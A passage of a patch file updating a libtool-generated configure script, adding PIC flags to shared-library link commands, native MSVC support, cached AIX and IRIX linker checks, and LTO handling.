+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -10608,23 +11195,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -10709,7 +11309,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -10728,9 +11328,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -11306,8 +11906,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -11340,13 +11941,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -12248,7 +12907,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 12251 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -12292,10 +12951,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12354,7 +13013,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 12357 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -12398,10 +13057,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12793,6 +13452,7 @@ $RM -r conftest*
+
+ # Allow CC to be a program name with arguments.
+ lt_save_CC=$CC
++ lt_save_CFLAGS=$CFLAGS
+ lt_save_LD=$LD
+ lt_save_GCC=$GCC
+ GCC=$GXX
+@@ -12810,6 +13470,7 @@ $RM -r conftest*
+ fi
+ test -z "${LDCXX+set}" || LD=$LDCXX
+ CC=${CXX-"c++"}
++ CFLAGS=$CXXFLAGS
+ compiler=$CC
+ compiler_CXX=$CC
+ for cc_temp in $compiler""; do
+@@ -13092,7 +13753,13 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+ allow_undefined_flag_CXX='-berok'
+ # Determine the default libpath from the value encoded in an empty
+ # executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath__CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -13105,22 +13772,29 @@ main ()
+ _ACEOF
+ if ac_fn_cxx_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath__CXX
++fi
+
+ hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+@@ -13133,7 +13807,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath__CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -13146,22 +13826,29 @@ main ()
+ _ACEOF
+ if ac_fn_cxx_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath__CXX
++fi
+
+ hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -13204,29 +13891,75 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ ;;
+
+ cygwin* | mingw* | pw32* | cegcc*)
+- # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
+- # as there is no search path for DLLs.
+- hardcode_libdir_flag_spec_CXX='-L$libdir'
+- export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
+- allow_undefined_flag_CXX=unsupported
+- always_export_symbols_CXX=no
+- enable_shared_with_static_runtimes_CXX=yes
+-
+- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- # If the export-symbols file already is a .def file (1st line
+- # is EXPORTS), use it as is; otherwise, prepend...
+- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+- cp $export_symbols $output_objdir/$soname.def;
+- else
+- echo EXPORTS > $output_objdir/$soname.def;
+- cat $export_symbols >> $output_objdir/$soname.def;
+- fi~
+- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- else
+- ld_shlibs_CXX=no
+- fi
+- ;;
++ case $GXX,$cc_basename in
++ ,cl* | no,cl*)
++ # Native MSVC
++ # hardcode_libdir_flag_spec is actually meaningless, as there is
++ # no search path for DLLs.
++ hardcode_libdir_flag_spec_CXX=' '
++ allow_undefined_flag_CXX=unsupported
++ always_export_symbols_CXX=yes
++ file_list_spec_CXX='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds_CXX='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, CXX)='true'
++ enable_shared_with_static_runtimes_CXX=yes
++ # Don't use ranlib
++ old_postinstall_cmds_CXX='chmod 644 $oldlib'
++ postlink_cmds_CXX='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ func_to_tool_file "$lt_outputfile"~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # g++
++ # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
++ # as there is no search path for DLLs.
++ hardcode_libdir_flag_spec_CXX='-L$libdir'
++ export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
++ allow_undefined_flag_CXX=unsupported
++ always_export_symbols_CXX=no
++ enable_shared_with_static_runtimes_CXX=yes
++
++ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
++ archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ # If the export-symbols file already is a .def file (1st line
++ # is EXPORTS), use it as is; otherwise, prepend...
++ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ cp $export_symbols $output_objdir/$soname.def;
++ else
++ echo EXPORTS > $output_objdir/$soname.def;
++ cat $export_symbols >> $output_objdir/$soname.def;
++ fi~
++ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ else
++ ld_shlibs_CXX=no
++ fi
++ ;;
++ esac
++ ;;
+ darwin* | rhapsody*)
+
+
+@@ -13332,7 +14065,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ ;;
+ *)
+ if test "$GXX" = yes; then
+- archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ # FIXME: insert proper C++ library support
+ ld_shlibs_CXX=no
+@@ -13403,10 +14136,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ *)
+- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ esac
+ fi
+@@ -13447,9 +14180,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ *)
+ if test "$GXX" = yes; then
+ if test "$with_gnu_ld" = no; then
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ else
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
+ fi
+ fi
+ link_all_deplibs_CXX=yes
+@@ -13727,7 +14460,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ *)
+- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ esac
+
+@@ -13773,7 +14506,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ archive_cmds_need_lc_CXX=yes
+ no_undefined_flag_CXX=' -zdefs'
+@@ -13814,9 +14547,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+ no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
+ if $CC --version | $GREP -v '^2\.7' > /dev/null; then
+- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+ archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+ # Commands to make compiler produce verbose output that lists
+ # what "hidden" libraries, object files and flags are used when
+@@ -13952,6 +14685,13 @@ private:
+ };
+ _LT_EOF
+
++
++_lt_libdeps_save_CFLAGS=$CFLAGS
++case "$CC $CFLAGS " in #(
++*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
++*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
++esac
++
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+@@ -13965,7 +14705,7 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ pre_test_object_deps_done=no
+
+ for p in `eval "$output_verbose_link_cmd"`; do
+- case $p in
++ case ${prev}${p} in
+
+ -L* | -R* | -l*)
+ # Some compilers place space between "-{L,R}" and the path.
+@@ -13974,13 +14714,22 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ test $p = "-R"; then
+ prev=$p
+ continue
+- else
+- prev=
+ fi
+
++ # Expand the sysroot to ease extracting the directories later.
++ if test -z "$prev"; then
++ case $p in
++ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
++ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
++ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
++ esac
++ fi
++ case $p in
++ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
++ esac
+ if test "$pre_test_object_deps_done" = no; then
+- case $p in
+- -L* | -R*)
++ case ${prev} in
++ -L | -R)
+ # Internal compiler library paths should come after those
+ # provided the user. The postdeps already come after the
+ # user supplied libs so there is no need to process them.
+@@ -14000,8 +14749,10 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ postdeps_CXX="${postdeps_CXX} ${prev}${p}"
+ fi
+ fi
++ prev=
+ ;;
+
++ *.lto.$objext) ;; # Ignore GCC LTO objects
+ *.$objext)
+ # This assumes that the test object file only shows up
+ # once in the compiler output.
+@@ -14037,6 +14788,7 @@ else
+ fi
+
+ $RM -f confest.$objext
++CFLAGS=$_lt_libdeps_save_CFLAGS
+
+ # PORTME: override above test on systems where it is broken
+ case $host_os in
+@@ -14072,7 +14824,7 @@ linux*)
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # The more standards-conforming stlport4 library is
+ # incompatible with the Cstd library. Avoid specifying
+ # it if it's in CXXFLAGS. Ignore libCrun as
+@@ -14137,8 +14889,6 @@ fi
+ lt_prog_compiler_pic_CXX=
+ lt_prog_compiler_static_CXX=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ # C++ specific cases for pic, static, wl, etc.
+ if test "$GXX" = yes; then
+@@ -14243,6 +14993,11 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ ;;
+ esac
+ ;;
++ mingw* | cygwin* | os2* | pw32* | cegcc*)
++ # This hack is so that the source file can tell whether it is being
